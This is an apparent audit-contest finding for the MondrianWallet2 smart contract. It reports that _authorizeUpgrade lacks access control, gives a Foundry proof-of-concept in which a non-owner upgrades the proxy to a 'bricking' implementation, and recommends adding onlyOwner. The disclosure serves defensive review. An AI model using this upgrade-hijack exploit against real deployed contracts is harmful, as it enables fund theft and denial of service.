First Flight #19: Mondrian Wallet v2
First Flight #19
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of access in `MondrianWallet2::_authorizeUpgrade` control allows anyone to DOS the contract

lulox

Summary

Function _authorizeUpgrade inherited from UUPSUpgradeable.sol lacks access control, while playing a critical role in checking access control to UUPSUpgradeable::upgradeToAndCall, which changes the implementation for the proxy contract.

Impact

This allows anyone to upgrade MondrianWallet to a malicious implementation, opening the window to stolen funds and/or denialing the service of the contract.

Proof of Concept

Include the following test in MondrianWallet2Test.sol:

function testUpgradeAndBrickContract() public {
address NON_OWNER_ACCOUNT = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
​
MockBrickWallet mockBrickWallet = new MockBrickWallet();
​
vm.startPrank(NON_OWNER_ACCOUNT);
mondrianWallet.upgradeToAndCall(address(mockBrickWallet), "");
vm.stopPrank();
}

And also import this contract to the test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
​
contract MockBrickWallet is UUPSUpgradeable {
// Ensure that the upgrade function can only be called by authorized addresses
function _authorizeUpgrade(address newImplementation) internal override {
// Authorization logic
require(address(0) == msg.sender, "You've been bricked!");
}
}

Tools Used

Foundry and manual review

Recommendations

Implement access control to the function MondrianWallet2::_authorizeUpgrade

- function _authorizeUpgrade(address newImplementation) internal override {}
+ function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
Updates

Lead Judging Commences

bube Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in _authorizeUpgrade

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.